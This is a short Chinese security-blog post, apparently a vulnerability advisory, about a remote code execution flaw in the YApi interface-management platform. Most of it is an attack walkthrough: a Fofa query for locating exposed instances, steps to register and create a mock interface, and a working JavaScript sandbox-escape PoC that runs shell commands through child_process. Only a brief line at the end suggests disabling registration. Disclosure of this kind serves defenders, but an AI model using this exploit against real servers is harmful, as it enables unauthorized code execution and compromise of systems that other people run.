Yapi Mock 远程代码执行漏洞

  • A+
所属分类:安全漏洞

漏洞描述

YApi接口管理平台远程代码执行0day漏洞,攻击者可通过平台注册用户添加接口,设置mock脚本从而执行任意代码。鉴于该漏洞目前处于0day漏洞利用状态,强烈建议客户尽快采取缓解措施以避免受此漏洞影响

Fofa:app="YApi"

Yapi Mock 远程代码执行漏洞

默认开启注册功能

Yapi Mock 远程代码执行漏洞

注册后新建项目

Yapi Mock 远程代码执行漏洞

添加接口

Yapi Mock 远程代码执行漏洞

高级Mock>脚本>开启,写入POC并保存:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

Yapi Mock 远程代码执行漏洞

保存后预览:

Yapi Mock 远程代码执行漏洞

Yapi Mock 远程代码执行漏洞

Yapi作者已经停止更新。临时修复建议禁止用户注册,具体配置参考原文链接:

https://github.com/YMFE/yapi/issues/2099

本文始发于微信公众号(安全鸭):Yapi Mock 远程代码执行漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: